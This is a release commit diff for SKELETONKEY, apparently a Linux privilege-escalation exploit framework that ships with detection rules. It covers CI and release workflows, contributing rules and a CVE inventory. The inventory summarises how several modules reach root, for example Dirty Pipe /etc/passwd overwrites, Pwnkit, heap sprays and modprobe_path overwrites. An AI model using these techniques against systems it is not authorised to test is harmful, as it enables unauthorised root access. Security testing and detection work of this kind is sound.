release v0.9.3: CVE metadata refresh (KEV 10→12) + dirtydecrypt bug fix

CVE metadata refresh:
- Added 8 entries to core/cve_metadata.c for the v0.8.0 + v0.9.0 module
  CVEs. Two are CISA-KEV-listed:
  - CVE-2018-14634 mutagen_astronomy (2026-01-26, CWE-190)
  - CVE-2025-32463 sudo_chwoot       (2025-09-29, CWE-829)
- Populated via direct curl when refresh-cve-metadata.py's Python urlopen
  hung on CISA's HTTP/2 endpoint for ~55 min — same data, different
  transport.

dirtydecrypt module bug fix:
- dd_detect() was wrongly gating 'predates the bug' on kernel < 7.0
- Per NVD CVE-2026-31635: bug entered at 6.16.1 stable; vulnerable
  through 6.18.22 / 6.19.12 / 7.0-rc7; fixed at 6.18.23 / 6.19.13 / 7.0
- Fix: predates-gate now uses 6.16.1; patched_branches[] adds {6,18,23}
- Re-verified: dirtydecrypt now correctly returns VULNERABLE on mainline
  6.19.7 instead of OK. Previously a false negative on real vulnerable
  kernels.

Footer goes from '10 in CISA KEV' to '12 in CISA KEV'. Verified count
stays at 28 but dirtydecrypt's record is now a TRUE VULNERABLE match
(was OK match).

.clang-tidy

@@ -0,0 +1,24 @@
+# clang-tidy configuration for SKELETONKEY core/.
+#
+# Defaults are mostly fine. Two checks intentionally disabled:
+#
+#   clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
+#     This check flags snprintf, fprintf, memset, strncpy, etc. as
+#     "insecure" and recommends the C11 Annex K _s variants
+#     (snprintf_s, memset_s, ...). Annex K is fundamentally not
+#     portable — glibc, musl, and MSVC all either don't implement
+#     it or implement it incompletely. snprintf is already bounds-
+#     checked; this is noise rather than signal in real C code.
+#     The Linux kernel uses these functions everywhere; so does
+#     every C project. Disabling.
+#
+#   bugprone-easily-swappable-parameters
+#     Flags every function taking 2+ same-typed parameters. False-
+#     positive heavy on small utility functions like
+#     skeletonkey_host_kernel_at_least(host, major, minor, patch)
+#     where the parameter order is documented and obvious. Not
+#     worth the noise.
+
+Checks: >
+  -clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
+  -bugprone-easily-swappable-parameters

.github/workflows/build.yml

@@ -5,6 +5,11 @@ on:
     branches: [main]
   pull_request:
     branches: [main]
+  schedule:
+    # Weekly drift check against CISA KEV + Debian security tracker.
+    # Runs Monday 06:00 UTC; reports any new backports / KEV additions
+    # that haven't propagated into the corpus yet.
+    - cron: '0 6 * * 1'
 
 jobs:
   build:
@@ -22,7 +27,8 @@ jobs:
         run: |
           sudo apt-get update -qq
           sudo apt-get install -y --no-install-recommends \
-            build-essential clang make linux-libc-dev
+            build-essential clang make linux-libc-dev \
+            libglib2.0-dev pkg-config
 
       - name: show compiler
         run: ${{ matrix.cc }} --version
@@ -37,22 +43,119 @@ jobs:
             make
           fi
 
-      - name: sanity — iamroot --version
-        run: ./iamroot --version
+      - name: sanity — skeletonkey --version
+        run: ./skeletonkey --version
 
-      - name: sanity — iamroot --list
-        run: ./iamroot --list
+      - name: sanity — skeletonkey --list
+        run: ./skeletonkey --list
 
-      - name: sanity — iamroot --scan (no exploit; just detect)
-        run: ./iamroot --scan --no-color || true
+      - name: sanity — skeletonkey --scan (no exploit; just detect)
+        run: ./skeletonkey --scan --no-color || true
         # exit code may be nonzero (vulnerable host = exit 2, missing
         # precond = exit 4) — that's diagnostic data, not CI failure
 
       - name: sanity — --detect-rules auditd
-        run: ./iamroot --detect-rules --format=auditd | head -50
+        run: ./skeletonkey --detect-rules --format=auditd | head -50
 
       - name: sanity — --detect-rules sigma
-        run: ./iamroot --detect-rules --format=sigma | head -50
+        run: ./skeletonkey --detect-rules --format=sigma | head -50
+
+      - name: tests — detect() unit suite
+        env:
+          CC: ${{ matrix.cc }}
+        run: |
+          # Run as a non-root user so modules' "already root" gates do
+          # not short-circuit before the synthetic host-fingerprint
+          # checks fire. The test binary itself is platform-agnostic;
+          # the assertions are #ifdef __linux__ guarded.
+          sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
+          sudo chown -R skeletonkeyci .
+          sudo -u skeletonkeyci make test
+
+  # ASan + UBSan run. clang-only; catches memory bugs and undefined
+  # behaviour the regular test suite can't see. Runs on the same 88
+  # tests as the main matrix; failures here are real bugs even if
+  # the assertions all pass.
+  sanitizers:
+    runs-on: ubuntu-latest
+    name: sanitizers (ASan + UBSan)
+    steps:
+      - uses: actions/checkout@v4
+      - name: install deps
+        run: |
+          sudo apt-get update -qq
+          sudo apt-get install -y --no-install-recommends \
+            build-essential clang make linux-libc-dev \
+            libglib2.0-dev pkg-config sudo
+      - name: build + test under sanitizers
+        env:
+          CC: clang
+          # AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
+          # backtraces meaningful while still exercising optimizer paths;
+          # -fno-omit-frame-pointer for ASan stack traces; halt-on-error
+          # so the first finding fails CI loudly rather than scrolling
+          # past silently.
+          CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
+          LDFLAGS: "-fsanitize=address,undefined"
+        run: |
+          sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
+          sudo chown -R skeletonkeyci .
+          sudo -u skeletonkeyci -E make test
+
+  # clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
+  # control most tightly). Non-blocking for now — sets a baseline we
+  # can tighten incrementally. Module sources are excluded; many
+  # bundle published PoC code that we keep close to upstream style.
+  clang-tidy:
+    runs-on: ubuntu-latest
+    name: clang-tidy
+    continue-on-error: true
+    steps:
+      - uses: actions/checkout@v4
+      - name: install deps
+        run: |
+          sudo apt-get update -qq
+          sudo apt-get install -y --no-install-recommends \
+            clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
+      - name: lint core + dispatcher
+        run: |
+          clang-tidy core/*.c skeletonkey.c \
+            --warnings-as-errors='' \
+            -- -Icore -Imodules/copy_fail_family/src \
+               -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
+
+  # Drift check — runs the two refresh scripts in --check / drift mode
+  # against authoritative federal sources. Catches:
+  #   - New CISA KEV additions touching CVEs in our corpus
+  #   - New Debian security-tracker backport-version updates that move
+  #     the kernel_patched_from table thresholds
+  # Network-required (fetches kev.csv + Debian tracker JSON). Runs on
+  # the weekly cron + on-demand via workflow_dispatch. NOT gated on
+  # PRs because random PRs shouldn't fail on upstream feed drift.
+  drift-check:
+    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    name: drift-check (CISA KEV + Debian tracker)
+    steps:
+      - uses: actions/checkout@v4
+      - name: cve_metadata drift
+        run: |
+          # Exits 1 if the federal data has drifted from our committed
+          # JSON. Open a PR with `tools/refresh-cve-metadata.py` output
+          # if this fires.
+          python3 tools/refresh-cve-metadata.py --check || {
+            echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
+            exit 1
+          }
+      - name: kernel_range drift
+        run: |
+          # Exits 1 if any module's kernel_patched_from table is
+          # MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
+          # findings are fine.
+          python3 tools/refresh-kernel-ranges.py || {
+            echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
+            exit 1
+          }
 
   # Static build job: ensures the project links cleanly when -static is
   # requested. Useful for deployment to minimal containers / fleet scans
@@ -66,7 +169,8 @@ jobs:
         run: |
           sudo apt-get update -qq
           sudo apt-get install -y --no-install-recommends \
-            build-essential make linux-libc-dev libc6-dev
+            build-essential make linux-libc-dev libc6-dev \
+            libglib2.0-dev pkg-config
       - name: make static
         # Glibc static linking pulls in NSS at runtime which breaks
         # getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
@@ -75,7 +179,7 @@ jobs:
         # gate the merge on it. Migrate to musl-gcc when we want a
         # truly portable static binary.
         continue-on-error: true
-        run: make static && ls -la iamroot
+        run: make static && ls -la skeletonkey
 
   # Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
   # the binary against a VM running a specific (vulnerable or patched)

.github/workflows/release.yml

@@ -7,7 +7,7 @@ name: release
 # Maintainer flow:
 #   git tag v0.1.0
 #   git push origin v0.1.0
-#   → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
+#   → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
 
 on:
   push:
@@ -44,23 +44,101 @@ jobs:
           CC: ${{ matrix.cc }}
         run: |
           make
-          file iamroot
-          ls -la iamroot
+          file skeletonkey
+          ls -la skeletonkey
 
       - name: rename + checksum
         run: |
-          mv iamroot iamroot-${{ matrix.target }}
-          sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
+          mv skeletonkey skeletonkey-${{ matrix.target }}
+          sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
 
       - uses: actions/upload-artifact@v4
         with:
-          name: iamroot-${{ matrix.target }}
+          name: skeletonkey-${{ matrix.target }}
           path: |
-            iamroot-${{ matrix.target }}
-            iamroot-${{ matrix.target }}.sha256
+            skeletonkey-${{ matrix.target }}
+            skeletonkey-${{ matrix.target }}.sha256
+
+  # Portable static-musl x86_64 build. Runs in Alpine (native musl +
+  # linux-headers) so the resulting binary works on every libc —
+  # glibc 2.x of any version, musl, etc. This is what install.sh
+  # fetches by default for x86_64 hosts (the dynamic binary above
+  # hits a glibc-version ceiling on older distros like Debian 12 /
+  # RHEL 8).
+  build-static-x86_64:
+    runs-on: ubuntu-latest
+    name: build (x86_64-static / musl)
+    container:
+      image: alpine:latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: install build deps
+        run: apk add --no-cache build-base linux-headers tar
+      - name: build static (musl)
+        run: |
+          # MSG_COPY is a Linux-only SysV msg flag that glibc defines
+          # but musl does not — netfilter_xtcompat needs it. Define
+          # the kernel constant explicitly. (Kernel: include/uapi/
+          # linux/msg.h: MSG_COPY = 040000)
+          make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
+          file skeletonkey
+          ls -la skeletonkey
+      - name: rename + checksum
+        run: |
+          mv skeletonkey skeletonkey-x86_64-static
+          sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
+      - uses: actions/upload-artifact@v4
+        with:
+          name: skeletonkey-x86_64-static
+          path: |
+            skeletonkey-x86_64-static
+            skeletonkey-x86_64-static.sha256
+
+  # Portable static-musl arm64 build. Cross-compile from the x86_64
+  # runner using dockcross/linux-arm64-musl — a Debian-based cross
+  # toolchain image that ships aarch64-linux-musl-gcc with a clean
+  # musl sysroot + Linux uapi headers. Avoids the two prior failure
+  # modes:
+  #   (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
+  #       compatible Node, which GitHub doesn't inject on arm64.
+  #   (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
+  #       /usr/include collide (glibc stdio.h vs musl stdio.h →
+  #       __gnuc_va_list / __time64_t conflicts).
+  # dockcross runs glibc Debian (so checkout works), invokes a
+  # bundled aarch64-linux-musl-gcc whose sysroot has its own
+  # consistent musl + linux-uapi tree.
+  build-static-arm64:
+    runs-on: ubuntu-latest
+    name: build (arm64-static / musl)
+    steps:
+      - uses: actions/checkout@v4
+      - name: run dockcross arm64-musl build
+        run: |
+          # Fetch the dockcross wrapper script (handles UID/GID,
+          # volume mounts, env passing). Image already has
+          # aarch64-linux-musl-gcc on PATH.
+          docker run --rm dockcross/linux-arm64-musl > ./dockcross
+          chmod +x ./dockcross
+          ./dockcross bash -c '
+            make CC=aarch64-linux-musl-gcc \
+                 CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
+                 LDFLAGS=-static
+          '
+          file skeletonkey
+          ls -la skeletonkey
+      - name: rename + checksum
+        run: |
+          mv skeletonkey skeletonkey-arm64-static
+          sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
+      - uses: actions/upload-artifact@v4
+        with:
+          name: skeletonkey-arm64-static
+          path: |
+            skeletonkey-arm64-static
+            skeletonkey-arm64-static.sha256
 
   release:
-    needs: build
+    needs: [build, build-static-x86_64, build-static-arm64]
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
@@ -72,49 +150,50 @@ jobs:
       - name: flatten artifacts
         run: |
           find dist -type f -exec mv {} . \;
-          ls -la iamroot-*
+          ls -la skeletonkey-*
 
       - name: collect release notes
         id: notes
         run: |
           tag="${GITHUB_REF#refs/tags/}"
           echo "tag=$tag" >> "$GITHUB_OUTPUT"
-          # Pull the latest entry from CVES.md / ROADMAP.md for the body
-          {
-            echo "## IAMROOT $tag"
-            echo
-            echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
-            echo
-            echo "### Install"
-            echo
-            echo '```bash'
-            echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
-            echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
-            echo "iamroot --version"
-            echo '```'
-            echo
-            echo "Or one-shot via the install script:"
-            echo
-            echo '```bash'
-            echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
-            echo '```'
-            echo
-            echo "### What's in this release"
-            echo
-            echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the curated CVE inventory."
-            echo "See [\`ROADMAP.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/ROADMAP.md) for phase progress."
-          } > release-notes.md
+          # Prefer the hand-written release notes if present (richer
+          # per-release context); otherwise fall back to an auto-generated
+          # stub with install instructions + pointers to docs.
+          if [ -f docs/RELEASE_NOTES.md ]; then
+            cp docs/RELEASE_NOTES.md release-notes.md
+          else
+            {
+              echo "## SKELETONKEY $tag"
+              echo
+              echo "Pre-built binaries for x86_64 (dynamic + static-musl) and arm64."
+              echo "Checksums alongside each artifact."
+              echo
+              echo "### Install"
+              echo '```bash'
+              echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
+              echo "skeletonkey --version"
+              echo '```'
+              echo
+              echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the CVE inventory."
+              echo "See [\`docs/RELEASE_NOTES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/docs/RELEASE_NOTES.md) for per-release detail."
+            } > release-notes.md
+          fi
 
       - name: publish release
         uses: softprops/action-gh-release@v2
         with:
           tag_name: ${{ steps.notes.outputs.tag }}
-          name: IAMROOT ${{ steps.notes.outputs.tag }}
+          name: SKELETONKEY ${{ steps.notes.outputs.tag }}
           body_path: release-notes.md
           files: |
-            iamroot-x86_64
-            iamroot-x86_64.sha256
-            iamroot-arm64
-            iamroot-arm64.sha256
+            skeletonkey-x86_64
+            skeletonkey-x86_64.sha256
+            skeletonkey-x86_64-static
+            skeletonkey-x86_64-static.sha256
+            skeletonkey-arm64
+            skeletonkey-arm64.sha256
+            skeletonkey-arm64-static
+            skeletonkey-arm64-static.sha256
             install.sh
           fail_on_unmatched_files: false   # install.sh may not exist at first tag

.gitignore

@@ -5,7 +5,18 @@ build/
 *.dSYM/
 modules/*/build/
 modules/*/dirtyfail
-modules/*/iamroot
+modules/*/skeletonkey
+/skeletonkey
+/skeletonkey-test
+/skeletonkey-test-kr
+/skeletonkey-x86_64
+/skeletonkey-x86_64-static
+/skeletonkey-x86_64.sha256
+/skeletonkey-x86_64-static.sha256
+/skeletonkey-arm64
+/skeletonkey-arm64.sha256
 .vscode/
 .idea/
 *.swp
+/tools/verify-vm/logs/
+/tools/verify-vm/.vagrant/

CONTRIBUTING.md

@@ -0,0 +1,89 @@
+# Contributing to SKELETONKEY
+
+SKELETONKEY is a curated corpus. PRs welcome for the things below.
+For everything else, open an issue first to discuss scope.
+
+## What we accept
+
+### 1. Kernel offsets for the `--full-chain` table
+
+The 11 🟡 PRIMITIVE modules use the shared finisher in
+`core/finisher.c` to convert their primitive into a root pop via
+`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
+at runtime — resolved via env vars / `/proc/kallsyms` /
+`/boot/System.map` / the embedded `kernel_table[]` in
+`core/offsets.c`.
+
+The embedded table is **empty by default** to honor the
+no-fabricated-offsets rule. Every entry must come from a real kernel
+you have root on.
+
+**Workflow:**
+
+```bash
+sudo skeletonkey --dump-offsets   # on the target kernel build
+# Paste the printed C struct entry into core/offsets.c kernel_table[]
+# Open a PR titled "offsets: <distro> <kernel_release>"
+```
+
+Include in the PR body:
+- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
+- How you verified the offsets (kallsyms / System.map / debuginfo)
+- Whether `--full-chain` succeeds end-to-end against any 🟡 module
+  on that kernel (if you can test on a vulnerable build)
+
+### 2. New modules
+
+A new CVE module is welcome if:
+
+- The bug is **patched in upstream mainline** (no 0days here)
+- It has a public CVE assignment or clear advisory
+- The kernel range it affects has realistic deployment footprint
+- You can include a working detect() with branch-backport ranges
+- You ship matching detection rules (auditd at minimum)
+
+Use any existing module as a template. Lightest-weight reference:
+`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
+
+Mandatory:
+- Detect short-circuits cleanly on patched kernels (we test this)
+- `--i-know` gate on exploit
+- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
+  otherwise `EXPLOIT_FAIL` with diagnostic
+- `NOTICE.md` crediting the original CVE reporter + PoC author
+
+After the module file exists, wire it into:
+- `core/registry.h` (extern declaration)
+- `skeletonkey.c` main() (register call)
+- `Makefile` (new objects + ALL_OBJS)
+- `CVES.md` (inventory entry)
+
+### 3. Detection rules
+
+If you're adding only detection coverage (no exploit) for an
+existing or new CVE, that's fine. Drop a sigma rule into the module
+or a new auditd rule file.
+
+### 4. Bug reports + CVE-status corrections
+
+Distro backports that patched a CVE without bumping the upstream
+version → file an issue. Same for kernels we mis-classify as
+vulnerable.
+
+## What we don't accept
+
+- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
+- Per-kernel offsets fabricated without verification
+- Modules without detection rules
+- 0day disclosures (responsible disclosure first; bundle here
+  after upstream patch ships)
+- Container escapes that don't chain to host root
+
+## Code style
+
+C99. Match the surrounding file. Run `make` and the existing
+CI build (`.github/workflows/build.yml`) before opening the PR.
+
+## License
+
+By contributing you agree your work is MIT-licensed.

CVES.md

@@ -1,6 +1,6 @@
 # CVE inventory
 
-The curated list of CVEs IAMROOT exploits, with patch status and
+The curated list of CVEs SKELETONKEY exploits, with patch status and
 module status. Updated as new modules land or as upstream patches
 ship.
 
@@ -23,16 +23,43 @@ Status legend:
 - 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
   historical reference only
 
-**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
+**Counts:** 39 modules total covering 34 CVEs; **28 of 34 CVEs
+verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
+planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
+*candidate* with no module, not counted as a module.)
+
+> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
+> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` are
+> blocked by their target environment (VMware-only, kernel < 4.4,
+> mainline panic, kmod not autoloaded, or t64-transition libs),
+> not by missing code. See
+> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
+>
+> All three now have **pinned fix commits and version-based
+> `detect()`**:
+> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
+>   D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
+> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
+>   **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
+>   rxgk code per Debian's tracker.
+> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
+>   Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
+>   on Debian's tracker — backport entries will extend the table as
+>   distros publish them.
+>
+> `--auto` auto-enables active probes (forked per module so a probe
+> crash cannot tear down the scan), which lets all three give an
+> empirical confirmation on top of the version verdict. See each
+> module's `MODULE.md`.
 
 Every module ships a `NOTICE.md` crediting the original CVE
-reporter and PoC author. `iamroot --dump-offsets` populates the
+reporter and PoC author. `skeletonkey --dump-offsets` populates the
 embedded offset table for new kernel builds — operators with
 root on a host can upstream their kernel's offsets via PR.
 
 ## Inventory
 
-| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
+| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
 |---|---|---|---|---|---|---|
 | CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
 | CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
@@ -40,9 +67,9 @@ root on a host can upstream their kernel's offsets via PR.
 | CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
 | (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
 | CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
-| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
+| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
 | CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
-| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
+| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
 | CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
 | CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
 | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
@@ -51,15 +78,21 @@ root on a host can upstream their kernel's offsets via PR.
 | CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
 | CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
 | CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
-| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
+| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
 | CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
